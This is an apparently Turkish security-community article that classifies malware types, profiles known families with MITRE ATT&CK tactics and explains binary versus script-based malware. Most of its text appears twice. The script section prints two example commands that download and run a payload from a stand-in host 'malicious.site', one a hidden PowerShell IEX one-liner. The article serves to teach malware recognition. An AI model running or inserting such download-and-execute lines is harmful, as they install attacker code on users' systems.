Allah’ın Rahmeti Ve Bereketi Üzerinize Olsun
Selamun aleyküm dostlarım. Bu makalemizde yaygın kötü amaçlı yazılım türlerini davranışlarına ve amaçlarına göre sınıflandırmayı. Gerçek dünyadaki kötü amaçlı yazılımların nasıl çalıştığını ve Kötü amaçlı yazılım türlerini sınıflandırmanın nasıl olduğuna bakacağız Allah’ın izniyle
Zararlı Yazılım Türleri
Kötü amaçlı yazılımların (malware) temel türlerini ve nasıl davrandıklarını bilmek, analistlerin tehditleri hızlı bir şekilde tespit etmesine yardımcı olur. Malware tek bir yapıdan ibaret değildir; her biri belirli bir amaca ve saldırı yöntemine sahip farklı kategorilerden oluşur. Bunları tanımayı öğrenerek ekipler olaylara daha etkili şekilde müdahale edebilir ve ortamlarını daha güvenli hâlde tutabilir.
Kötü Amaçlı Yazılım Kategorileri
Aşağıda, en yaygın kötü amaçlı yazılım kategorilerini, bunların temel amaçlarını, tipik davranışlarını ve her biri için gerçek dünyadan bir örneği özetleyen bir tablo bulunmaktadır. Bunun ardından, bu kötü amaçlı yazılım türlerinin günlük olaylarda nasıl ortaya çıktığını göstermek amacıyla pratik ve senaryo tabanlı bazı örnekler yer almaktadır.
Reklam Yazılımı (Adware): Bir kullanıcının tarayıcısı, hiçbir web sitesi açık olmasa bile birkaç dakikada bir açılır reklamlar göstermeye başlar. Güvenlik araçları arka planda çalışan şüpheli bir program tespit eder ve bunun reklam yazılımı olduğu ortaya çıkar.
Casus Yazılım (Spyware): Bir çalışan, kişisel e-postalarına başka biri tarafından erişildiğini fark eder. Yapılan adli inceleme, iş istasyonunda tuş vuruşlarını kaydeden ve bu bilgileri saldırgana gönderen bir casus yazılım bulunduğunu ortaya çıkarır.
Fidye Yazılımı (Ransomware): Birkaç bilgisayarda, tüm dosyaların şifrelendiğini ve kilitlerin açılması için ödeme yapılması gerektiğini belirten bir fidye notu görüntülenir. SOC ekibi, olayın kötü amaçlı bir e-posta ekiyle tetiklenen bir fidye yazılımı saldırısından kaynaklandığını tespit eder.
Veri Yok Edici (Wiper): Bir kuruluşun sunucuları aniden çöker ve dosyaların üzerine rastgele veriler yazılır. Yapılan inceleme, fidye talep etmek yerine verileri yok etmek amacıyla tasarlanmış bir wiper zararlısını ortaya çıkarır.
Komuta ve Kontrol (C2) Zararlısı: Bir uç noktanın alışılmadık saatlerde bilinmeyen alan adlarına bağlandığı tespit edilir. Analistler, saldırganlara uzaktan erişim sağlayan ve komut çalıştırmalarına veya dosya taşımalarına olanak tanıyan bir C2 zararlısı keşfeder.
Veri Hırsızı (Data Stealer): Hassas belgeler internete sızdırılmaya başlanır. Olay müdahale ekibi, kullanıcı dizinlerinden dosyaları toplayıp harici bir sunucuya gönderen bir veri hırsızı zararlısı tespit eder.
Tuş Kaydedici (Keylogger): Kullanıcılar, şirket banka hesaplarından yetkisiz para transferleri yapıldığını bildirir. Yapılan analiz, muhasebecinin bilgisayarında çalışan ve parolalar dahil olmak üzere tüm tuş vuruşlarını kaydeden bir keylogger bulunduğunu gösterir.
Kripto Madenci (Cryptominer): Birkaç masaüstü bilgisayar yavaşlamaya başlar ve fanlar sürekli çalışır durumda olur. İzleme araçları, kripto para madenciliği yapmak için bilgisayarları ele geçiren bir cryptominer ile bağlantılı yüksek CPU kullanımını ortaya çıkarır.
Gerçek Dünyada Kötü Amaçlı Yazılım Örnekleri
Kötü amaçlı yazılımlar yalnızca ders kitaplarında bulunan bir kavram değildir. Güvenlik ekipleri gerçek olaylarda casus yazılım (spyware), fidye yazılımı (ransomware), veri yok ediciler (wiper), veri hırsızları (data stealer), tuş kaydediciler (keylogger) ve uzaktan erişim truva atları (RAT – Remote Access Trojan) gibi kötü amaçlı yazılım türleriyle karşılaşır. Her türün gerçek saldırılarda nasıl ortaya çıktığını görmek, teoriyi daha iyi anlamlandırmaya ve kalıpları daha kolay hatırlamaya yardımcı olur. Birbirleriyle ilişkili veya benzer özellikler taşıyan kötü amaçlı yazılımları genellikle aynı “malware familyası” içinde değerlendiririz.
Bir malware familyası, aynı kökene veya kod tabanına sahip olan ve benzer şekilde davranan kötü amaçlı programlar grubunu ifade eder. Kötü amaçlı yazılımları bu şekilde gruplandırmak, güvenlik ekiplerinin bilinen savunmaları uygulamasına ve tespit ile müdahale süreçlerini geliştirmesine yardımcı olur. Aşağıda, bilinen bazı kötü amaçlı yazılımlar için kısa vaka incelemeleri ve daha fazla bilgi edinmek için bağlantılar yer almaktadır dostlarım.
Pegasus, dünya genelinde mobil telefonları hedef almak için kullanılan en bilinen casus yazılım araçlarından biridir. Saldırganlar, özel olarak hazırlanmış bir mesaj göndererek veya bir güvenlik açığından yararlanarak Pegasus’u sessizce cihaza yükler. Cihaza yerleştikten sonra kısa mesajları, konum verilerini, e-postaları ve mikrofon ya da kamera kayıtlarını toplar. Hedefler arasında gazetecilerden politikacılara ve iş liderlerine kadar birçok kişi bulunmaktadır.
MITRE ATT&CK: TA0009 (Collection – Veri Toplama), TA0010 (Exfiltration – Veri Sızdırma)
Akira, işletmeleri, okulları ve kamu hizmetlerini hedef almasıyla bilinen modern bir fidye yazılımı türüdür. Saldırganlar ağlara sızmak için oltalama (phishing) e-postaları, çalınmış kimlik bilgileri veya uzaktan erişim yazılımları kullanır. İçeri girdikten sonra Akira yayılır, kritik dosyaları şifreler ve kripto para talep eden bir fidye notu görüntüler. Bu grup, fidyenin ödenmemesi durumunda çalınan verileri sızdırmakla tehdit etmesiyle de bilinmektedir.
MITRE ATT&CK: TA0040 (Impact – Etki), TA0011 (Command and Control – Komuta ve Kontrol)
Örneğin, bir sistem ele geçirildiğinde Akira fidye yazılımının bıraktığı fidye notunu gözlemleyebiliriz.
Shamoon, Orta Doğu’daki enerji şirketlerini, özellikle de Saudi Aramco’yu hedef aldı. Zararlı yazılım, dosyaların üzerine hızla işe yaramaz veriler yazarak sistemleri kullanılamaz hâle getirdi. Tüm ağlar çevrim dışı kaldı ve kurtarma süreci haftalar sürdü. Shamoon, veri yok edici zararlıların ödeme talep etmese bile fidye yazılımları kadar büyük zarar verebileceğini gösterdi.
MITRE ATT&CK: TA0040 (Impact – Etki)
Agent Tesla genellikle ek dosya içeren oltalama (phishing) e-postaları aracılığıyla dağıtılır. Ek dosya açıldıktan sonra tuş vuruşlarını, ekran görüntülerini ve web tarayıcıları ile e-posta istemcilerindeki kimlik bilgilerini ele geçirir. Çalınan veriler, saldırgan tarafından kontrol edilen komuta ve kontrol (C2) sunucularına gönderilir. Agent Tesla, dünya genelinde binlerce saldırıda kullanılmıştır ve gelişmeye devam etmektedir.
MITRE ATT&CK: TA0010 (Exfiltration – Veri Sızdırma)
Yukarıda, bir tehdit aktörünün verileri sızdırdığına dair bir forum örneğini gözlemleyebiliriz dostlarım.
RedLine Stealer, hem veri hırsızı hem de tuş kaydedici (keylogger) olarak çalışan bir kötü amaçlı yazılımdır. Oltalama (phishing) saldırıları veya kötü amaçlı web siteleri aracılığıyla yayılır; ardından tuş vuruşlarını, tarayıcı çerezlerini ve kripto para cüzdanı bilgilerini ele geçirir. Elde edilen veriler daha sonra saldırganın sunucusuna aktarılır. RedLine, siber suçlular tarafından kimlik bilgisi hırsızlığı ve dolandırıcılık amacıyla yaygın olarak kullanılmaktadır.
MITRE ATT&CK: TA0006 (Credential Access – Kimlik Bilgilerine Erişim), TA0010 (Exfiltration – Veri Sızdırma)
QakBot, aynı zamanda QBot olarak da bilinir, dünya genelinde kuruluşları hedef alan en aktif ve tehlikeli kötü amaçlı yazılım ailelerinden biri hâline gelmiştir. Başlangıçta bir bankacılık truva atı olarak tasarlanan QakBot, zamanla siber suç grupları tarafından ilk erişim sağlama, kimlik bilgisi çalma ve Black Basta gibi fidye yazılımlarını yükleme aracı olarak kullanılan modüler bir RAT (Remote Access Trojan – Uzaktan Erişim Truva Atı) hâline gelmiştir.
QakBot genellikle kötü amaçlı ekler veya bağlantılar içeren oltalama (phishing) e-postaları aracılığıyla sisteme ulaşır. Ağa girdikten sonra komuta ve kontrol (C2) sunucularına bir bağlantı kurar; bu da saldırganların ağ içinde yatay hareket etmesine, veri çalmasına veya ek kötü amaçlı yazılımlar yüklemesine olanak tanır. 2023 yılında QakBot, birçok yüksek profilli olaydan sorumlu olmuş ve kolluk kuvvetleri bu zararlı yazılımın faaliyetlerinin devam ettiğine dair uyarılarda bulunmuştur.
MITRE ATT&CK: TA0011 (Command and Control – Komuta ve Kontrol), TA0002 (Execution – Yürütme), TA0006 (Credential Access – Kimlik Bilgilerine Erişim)
Betik tabanlı kötü amaçlı yazılımlar esneklikleri ve kolay değiştirilebilir olmaları nedeniyle popüler hâle gelmiş olsa da, çalıştırılabilir dosyalar (executable) saldırganlar tarafından hâlâ yaygın şekilde kullanılmaktadır. Bunlar daha fazla kararlılık sunabilir, daha karmaşık payload’ları destekleyebilir ve güvenlik araçlarının yanlış yapılandırıldığı veya güncel olmadığı ortamlarda hâlâ etkili olabilir. Her iki tür de gerçek dünya siber saldırılarında görülmeye devam etmektedir.
Binary dosyaların yaygın dağıtım yöntemleri arasında e-posta ekleri (örneğin: invoice.pdf.exe), kötü amaçlı indirmeler, çıkarılabilir medya (USB vb.) veya başka bir enfeksiyonun parçası olarak sisteme bulaşma yer alır. Bazen saldırganlar, çalıştırılabilir dosyaları yanıltıcı simgeler kullanarak veya gerçek dosya uzantısını gizleyerek maskelemiş olur.
Bir çalıştırılabilir dosyayı tespit etmenin bir yolu checksum (sağlama değeri) kullanmaktır; çünkü derlenip yeniden dağıtıldığında bile executable dosyalar içeriğini değiştirmez. Örneğin, bir dosyanın md5sum değeri hesaplanarak, adı veya uzantısı değiştirilmiş olsa bile zararlı yazılım tespit edilebilir.
Her bir binary dosya, antivirüs ve tespit motorları tarafından yaygın olarak kullanılan, sabit kodlanmış (hardcoded) stringler veya bayt dizileri içerebilir. Bunlar genellikle benzersiz tanımlayıcılar olarak kullanılır.
Betikler, saldırganlar tarafından değiştirilmesi ve uyarlanması daha kolay olabilir. Genellikle e-posta ekleri, makro içeren Office belgeleri veya kötü amaçlı web siteleri aracılığıyla yayılırlar. Örneğin, bir kullanıcı report.docm adlı bir e-posta ekini açabilir; bu dosya, gizli bir PowerShell betiği çalıştıran bir makro içerebilir.
Betikler ayrıca ilk erişim (initial access) aşamasında da yaygın olarak kullanılır ve saldırgana dosya diske yazmadan doğrudan bellekte (memory) kod çalıştırma imkânı sağlar.
Bir betiğin kötü amaçlı olabileceğine dair bazı belirgin uyarı işaretleri şunlardır:
Yukarıdaki betik, bir kötü amaçlı yazılım çalıştırılabilir dosyasını indirir ve kurbanın bilgisayarında çalıştırır. Benzer şekilde PowerShell için de şu örnek verilebilir:
Bu komut, genellikle geride dosya bırakmadan uzak bir sunucudan bir betik çalıştırır.
Görülebileceği gibi, aşağıya doğru kaydırıldığında oldukça fazla veri bulunmaktadır. Swvldsp2195 adlı bir fonksiyon tanımlanmış ve ardından qble51 adı verilen, büyük miktarda veri içeren dev bir değişken yer almaktadır.
Son olarak, en sonunda bu verinin Base64 ile çözüldüğü ve aşağıda gösterildiği gibi bir .NET assembly kullanılarak bellekte (memory) çalıştırıldığı gözlemlenebilir (böylece diske yazılmadan doğrudan bellekte yürütülür).
Yukarıdaki örnek anlaşılması kolay bir örnek olsa da, daha karmaşık şekilde gizlenmiş (obfuscated) betik tabanlı kötü amaçlı yazılımlar oldukça yaygındır ve bu tehditlerin çok geniş bir çeşitliliği bulunmaktadır. Bu durum, tehdit aktörlerinin bir organizasyon içinde kötü amaçlı yazılımları nasıl dağıtmaya ve gizlemeye çalıştığını göstermektedir.
Okuduğunuz için teşekkür ederim
Selamun aleyküm dostlarım. Bu makalemizde yaygın kötü amaçlı yazılım türlerini davranışlarına ve amaçlarına göre sınıflandırmayı. Gerçek dünyadaki kötü amaçlı yazılımların nasıl çalıştığını ve Kötü amaçlı yazılım türlerini sınıflandırmanın nasıl olduğuna bakacağız Allah’ın izniyle
Zararlı Yazılım Türleri
Kötü amaçlı yazılımların (malware) temel türlerini ve nasıl davrandıklarını bilmek, analistlerin tehditleri hızlı bir şekilde tespit etmesine yardımcı olur. Malware tek bir yapıdan ibaret değildir; her biri belirli bir amaca ve saldırı yöntemine sahip farklı kategorilerden oluşur. Bunları tanımayı öğrenerek ekipler olaylara daha etkili şekilde müdahale edebilir ve ortamlarını daha güvenli hâlde tutabilir.
Kötü Amaçlı Yazılım Kategorileri
Aşağıda, en yaygın kötü amaçlı yazılım kategorilerini, bunların temel amaçlarını, tipik davranışlarını ve her biri için gerçek dünyadan bir örneği özetleyen bir tablo bulunmaktadır. Bunun ardından, bu kötü amaçlı yazılım türlerinin günlük olaylarda nasıl ortaya çıktığını göstermek amacıyla pratik ve senaryo tabanlı bazı örnekler yer almaktadır.
| Kategori | Temel Amaç | Tipik Davranış | Gerçek Dünya Örneği |
|---|---|---|---|
| Reklam Yazılımı (Adware) | İstenmeyen reklamlar göstermek | İstenmeyen reklamlar görüntüler | Fireball |
| Casus Yazılım (Spyware) | Gizlice bilgi toplamak | Tarama geçmişini izler, tuş vuruşlarını kaydeder, veri toplar | Hermit |
| Fidye Yazılımı (Ransomware) | Dosya veya sistemleri kilitleyerek para sızdırmak | Verileri şifreler, fidye notu gösterir | WannaCry |
| Veri Yok Edici (Wiper) | Verileri veya sistemleri yok etmek | Dosyaları kalıcı olarak siler veya üzerine yazar | PathWiper |
| C2 (Komuta ve Kontrol) | Saldırganın uzaktan kontrol sağlamasına olanak tanımak | Uzak sunucuya bağlanır, komut alır | Emotet |
| Veri Hırsızı (Data Stealer) | Hassas bilgileri çalmak | Dosyaları, kimlik bilgilerini veya belgeleri dışarı aktarır | Lumma Stealer |
| Tuş Kaydedici (Keylogger) | Kullanıcının tuş vuruşlarını kaydetmek | Klavyede yazılan her şeyi kaydeder | Zeus |
| Kripto Madenci (Cryptominer) | Kaynakları kripto para madenciliği için kullanmak | Yüksek CPU kullanımı, sistem yavaşlaması ve ağ trafiği oluşturur | Coinhive |
Senaryo Tabanlı Örnekler
Aşağıda, bu tür kötü amaçlı yazılımların bir kuruluş içinde nasıl ortaya çıkabileceğini gösteren bazı basit senaryolar yer almaktadır.Reklam Yazılımı (Adware): Bir kullanıcının tarayıcısı, hiçbir web sitesi açık olmasa bile birkaç dakikada bir açılır reklamlar göstermeye başlar. Güvenlik araçları arka planda çalışan şüpheli bir program tespit eder ve bunun reklam yazılımı olduğu ortaya çıkar.
Casus Yazılım (Spyware): Bir çalışan, kişisel e-postalarına başka biri tarafından erişildiğini fark eder. Yapılan adli inceleme, iş istasyonunda tuş vuruşlarını kaydeden ve bu bilgileri saldırgana gönderen bir casus yazılım bulunduğunu ortaya çıkarır.
Fidye Yazılımı (Ransomware): Birkaç bilgisayarda, tüm dosyaların şifrelendiğini ve kilitlerin açılması için ödeme yapılması gerektiğini belirten bir fidye notu görüntülenir. SOC ekibi, olayın kötü amaçlı bir e-posta ekiyle tetiklenen bir fidye yazılımı saldırısından kaynaklandığını tespit eder.
Veri Yok Edici (Wiper): Bir kuruluşun sunucuları aniden çöker ve dosyaların üzerine rastgele veriler yazılır. Yapılan inceleme, fidye talep etmek yerine verileri yok etmek amacıyla tasarlanmış bir wiper zararlısını ortaya çıkarır.
Komuta ve Kontrol (C2) Zararlısı: Bir uç noktanın alışılmadık saatlerde bilinmeyen alan adlarına bağlandığı tespit edilir. Analistler, saldırganlara uzaktan erişim sağlayan ve komut çalıştırmalarına veya dosya taşımalarına olanak tanıyan bir C2 zararlısı keşfeder.
Veri Hırsızı (Data Stealer): Hassas belgeler internete sızdırılmaya başlanır. Olay müdahale ekibi, kullanıcı dizinlerinden dosyaları toplayıp harici bir sunucuya gönderen bir veri hırsızı zararlısı tespit eder.
Tuş Kaydedici (Keylogger): Kullanıcılar, şirket banka hesaplarından yetkisiz para transferleri yapıldığını bildirir. Yapılan analiz, muhasebecinin bilgisayarında çalışan ve parolalar dahil olmak üzere tüm tuş vuruşlarını kaydeden bir keylogger bulunduğunu gösterir.
Kripto Madenci (Cryptominer): Birkaç masaüstü bilgisayar yavaşlamaya başlar ve fanlar sürekli çalışır durumda olur. İzleme araçları, kripto para madenciliği yapmak için bilgisayarları ele geçiren bir cryptominer ile bağlantılı yüksek CPU kullanımını ortaya çıkarır.
Gerçek Dünyada Kötü Amaçlı Yazılım Örnekleri
Kötü amaçlı yazılımlar yalnızca ders kitaplarında bulunan bir kavram değildir. Güvenlik ekipleri gerçek olaylarda casus yazılım (spyware), fidye yazılımı (ransomware), veri yok ediciler (wiper), veri hırsızları (data stealer), tuş kaydediciler (keylogger) ve uzaktan erişim truva atları (RAT – Remote Access Trojan) gibi kötü amaçlı yazılım türleriyle karşılaşır. Her türün gerçek saldırılarda nasıl ortaya çıktığını görmek, teoriyi daha iyi anlamlandırmaya ve kalıpları daha kolay hatırlamaya yardımcı olur. Birbirleriyle ilişkili veya benzer özellikler taşıyan kötü amaçlı yazılımları genellikle aynı “malware familyası” içinde değerlendiririz.
Bir malware familyası, aynı kökene veya kod tabanına sahip olan ve benzer şekilde davranan kötü amaçlı programlar grubunu ifade eder. Kötü amaçlı yazılımları bu şekilde gruplandırmak, güvenlik ekiplerinin bilinen savunmaları uygulamasına ve tespit ile müdahale süreçlerini geliştirmesine yardımcı olur. Aşağıda, bilinen bazı kötü amaçlı yazılımlar için kısa vaka incelemeleri ve daha fazla bilgi edinmek için bağlantılar yer almaktadır dostlarım.
Casus Yazılım (Spyware)
Vaka İncelemesi – Pegasus:Pegasus, dünya genelinde mobil telefonları hedef almak için kullanılan en bilinen casus yazılım araçlarından biridir. Saldırganlar, özel olarak hazırlanmış bir mesaj göndererek veya bir güvenlik açığından yararlanarak Pegasus’u sessizce cihaza yükler. Cihaza yerleştikten sonra kısa mesajları, konum verilerini, e-postaları ve mikrofon ya da kamera kayıtlarını toplar. Hedefler arasında gazetecilerden politikacılara ve iş liderlerine kadar birçok kişi bulunmaktadır.
MITRE ATT&CK: TA0009 (Collection – Veri Toplama), TA0010 (Exfiltration – Veri Sızdırma)
Fidye Yazılımı (Ransomware)
Vaka İncelemesi – Akira:Akira, işletmeleri, okulları ve kamu hizmetlerini hedef almasıyla bilinen modern bir fidye yazılımı türüdür. Saldırganlar ağlara sızmak için oltalama (phishing) e-postaları, çalınmış kimlik bilgileri veya uzaktan erişim yazılımları kullanır. İçeri girdikten sonra Akira yayılır, kritik dosyaları şifreler ve kripto para talep eden bir fidye notu görüntüler. Bu grup, fidyenin ödenmemesi durumunda çalınan verileri sızdırmakla tehdit etmesiyle de bilinmektedir.
MITRE ATT&CK: TA0040 (Impact – Etki), TA0011 (Command and Control – Komuta ve Kontrol)
Örneğin, bir sistem ele geçirildiğinde Akira fidye yazılımının bıraktığı fidye notunu gözlemleyebiliriz.
Veri Yok Edici (Wiper)
Vaka İncelemesi – Shamoon:Shamoon, Orta Doğu’daki enerji şirketlerini, özellikle de Saudi Aramco’yu hedef aldı. Zararlı yazılım, dosyaların üzerine hızla işe yaramaz veriler yazarak sistemleri kullanılamaz hâle getirdi. Tüm ağlar çevrim dışı kaldı ve kurtarma süreci haftalar sürdü. Shamoon, veri yok edici zararlıların ödeme talep etmese bile fidye yazılımları kadar büyük zarar verebileceğini gösterdi.
MITRE ATT&CK: TA0040 (Impact – Etki)
Veri Hırsızı (Data Stealer)
Vaka İncelemesi – Agent Tesla:Agent Tesla genellikle ek dosya içeren oltalama (phishing) e-postaları aracılığıyla dağıtılır. Ek dosya açıldıktan sonra tuş vuruşlarını, ekran görüntülerini ve web tarayıcıları ile e-posta istemcilerindeki kimlik bilgilerini ele geçirir. Çalınan veriler, saldırgan tarafından kontrol edilen komuta ve kontrol (C2) sunucularına gönderilir. Agent Tesla, dünya genelinde binlerce saldırıda kullanılmıştır ve gelişmeye devam etmektedir.
MITRE ATT&CK: TA0010 (Exfiltration – Veri Sızdırma)
Tuş Kaydedici (Keylogger)
Vaka İncelemesi – RedLine Stealer:RedLine Stealer, hem veri hırsızı hem de tuş kaydedici (keylogger) olarak çalışan bir kötü amaçlı yazılımdır. Oltalama (phishing) saldırıları veya kötü amaçlı web siteleri aracılığıyla yayılır; ardından tuş vuruşlarını, tarayıcı çerezlerini ve kripto para cüzdanı bilgilerini ele geçirir. Elde edilen veriler daha sonra saldırganın sunucusuna aktarılır. RedLine, siber suçlular tarafından kimlik bilgisi hırsızlığı ve dolandırıcılık amacıyla yaygın olarak kullanılmaktadır.
MITRE ATT&CK: TA0006 (Credential Access – Kimlik Bilgilerine Erişim), TA0010 (Exfiltration – Veri Sızdırma)
C2 RAT Zararlısı
Vaka İncelemesi – QakBot:QakBot, aynı zamanda QBot olarak da bilinir, dünya genelinde kuruluşları hedef alan en aktif ve tehlikeli kötü amaçlı yazılım ailelerinden biri hâline gelmiştir. Başlangıçta bir bankacılık truva atı olarak tasarlanan QakBot, zamanla siber suç grupları tarafından ilk erişim sağlama, kimlik bilgisi çalma ve Black Basta gibi fidye yazılımlarını yükleme aracı olarak kullanılan modüler bir RAT (Remote Access Trojan – Uzaktan Erişim Truva Atı) hâline gelmiştir.
QakBot genellikle kötü amaçlı ekler veya bağlantılar içeren oltalama (phishing) e-postaları aracılığıyla sisteme ulaşır. Ağa girdikten sonra komuta ve kontrol (C2) sunucularına bir bağlantı kurar; bu da saldırganların ağ içinde yatay hareket etmesine, veri çalmasına veya ek kötü amaçlı yazılımlar yüklemesine olanak tanır. 2023 yılında QakBot, birçok yüksek profilli olaydan sorumlu olmuş ve kolluk kuvvetleri bu zararlı yazılımın faaliyetlerinin devam ettiğine dair uyarılarda bulunmuştur.
MITRE ATT&CK: TA0011 (Command and Control – Komuta ve Kontrol), TA0002 (Execution – Yürütme), TA0006 (Credential Access – Kimlik Bilgilerine Erişim)
Binary ve Script Tabanlı Kötü Amaçlı Yazılım
Kötü amaçlı yazılımlar farklı biçimlerde ortaya çıkabilir. En yaygın iki kategori, derlenmiş çalıştırılabilir dosyalar olan binary malware (ikili kötü amaçlı yazılım) ve betik dilleriyle yazılmış script-based malware (betik tabanlı kötü amaçlı yazılım) olarak sınıflandırılır. Bu iki tür arasındaki farkı anlamak, SOC analistlerinin uyarıları veya şüpheli dosyaları incelerken daha doğru kararlar vermesine yardımcı olur.Betik tabanlı kötü amaçlı yazılımlar esneklikleri ve kolay değiştirilebilir olmaları nedeniyle popüler hâle gelmiş olsa da, çalıştırılabilir dosyalar (executable) saldırganlar tarafından hâlâ yaygın şekilde kullanılmaktadır. Bunlar daha fazla kararlılık sunabilir, daha karmaşık payload’ları destekleyebilir ve güvenlik araçlarının yanlış yapılandırıldığı veya güncel olmadığı ortamlarda hâlâ etkili olabilir. Her iki tür de gerçek dünya siber saldırılarında görülmeye devam etmektedir.
Binary (İkili) Kötü Amaçlı Yazılım
Çalıştırılabilir dosya tabanlı kötü amaçlı yazılımlar genellikle .exe (Windows çalıştırılabilir dosyası) veya .dll (Dinamik Bağlantı Kütüphanesi) gibi derlenmiş dosyalar şeklinde dağıtılır. Bu dosyalar kaynak koddan oluşturulur ve uyumlu bir işletim sistemi üzerinde çalıştırılmaları gerekir.Binary dosyaların yaygın dağıtım yöntemleri arasında e-posta ekleri (örneğin: invoice.pdf.exe), kötü amaçlı indirmeler, çıkarılabilir medya (USB vb.) veya başka bir enfeksiyonun parçası olarak sisteme bulaşma yer alır. Bazen saldırganlar, çalıştırılabilir dosyaları yanıltıcı simgeler kullanarak veya gerçek dosya uzantısını gizleyerek maskelemiş olur.
Bir çalıştırılabilir dosyayı tespit etmenin bir yolu checksum (sağlama değeri) kullanmaktır; çünkü derlenip yeniden dağıtıldığında bile executable dosyalar içeriğini değiştirmez. Örneğin, bir dosyanın md5sum değeri hesaplanarak, adı veya uzantısı değiştirilmiş olsa bile zararlı yazılım tespit edilebilir.
Her bir binary dosya, antivirüs ve tespit motorları tarafından yaygın olarak kullanılan, sabit kodlanmış (hardcoded) stringler veya bayt dizileri içerebilir. Bunlar genellikle benzersiz tanımlayıcılar olarak kullanılır.
Betik Tabanlı Kötü Amaçlı Yazılım
Betik tabanlı kötü amaçlı yazılımlar, JavaScript (.js), Visual Basic Script (.vbs), Windows batch (.bat) veya PowerShell (.ps1) gibi dillerle yazılmış betiklere dayanır.Betikler, saldırganlar tarafından değiştirilmesi ve uyarlanması daha kolay olabilir. Genellikle e-posta ekleri, makro içeren Office belgeleri veya kötü amaçlı web siteleri aracılığıyla yayılırlar. Örneğin, bir kullanıcı report.docm adlı bir e-posta ekini açabilir; bu dosya, gizli bir PowerShell betiği çalıştıran bir makro içerebilir.
Betikler ayrıca ilk erişim (initial access) aşamasında da yaygın olarak kullanılır ve saldırgana dosya diske yazmadan doğrudan bellekte (memory) kod çalıştırma imkânı sağlar.
Bir betiğin kötü amaçlı olabileceğine dair bazı belirgin uyarı işaretleri şunlardır:
- Betik internetten dosya indirir veya başka dosyalar çalıştırır.
- Sistem ayarlarında değişiklik yapar veya güvenlik araçlarını devre dışı bırakır.
- Standart işlemlerin parçası olmayan komutlar çalıştırır, özellikle kodlanmış (encoded) veya gizlenmiş (obfuscated) içerik kullanıyorsa.
- Beklenmedik şekilde PowerShell veya CMD gibi diğer uygulamaları başlatır.
Kod:
@echo off
powershell -Command "Invoke-WebRequest http://malicious.site/payload.exe -OutFile C:\Users\Public\payload.exe"
start C:\Users\Public\payload.exe
Kod:
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/payload.ps1')"Betik Tabanlı Örnek
Şimdi gizlenmiş (obfuscated) gerçek bir kötü amaçlı yazılımı inceleyelim. Bu örnek, C dili ile yazılmış ve MaaS (Malware as a Service – Hizmet olarak kötü amaçlı yazılım) olarak kullanılan popüler bir veri hırsızı olan LummaStealer’a aittir. Bu örnek Ağustos 2025 tarihinden olup, zararlı yazılımı dağıtmak için kullanılan bir örnek dosyadır.Görülebileceği gibi, aşağıya doğru kaydırıldığında oldukça fazla veri bulunmaktadır. Swvldsp2195 adlı bir fonksiyon tanımlanmış ve ardından qble51 adı verilen, büyük miktarda veri içeren dev bir değişken yer almaktadır.
Yukarıdaki örnek anlaşılması kolay bir örnek olsa da, daha karmaşık şekilde gizlenmiş (obfuscated) betik tabanlı kötü amaçlı yazılımlar oldukça yaygındır ve bu tehditlerin çok geniş bir çeşitliliği bulunmaktadır. Bu durum, tehdit aktörlerinin bir organizasyon içinde kötü amaçlı yazılımları nasıl dağıtmaya ve gizlemeye çalıştığını göstermektedir.
Okuduğunuz için teşekkür ederimCW-Ommah
Bug Researchers Tim Sundu...
Bug Researchers Tim Sundu...
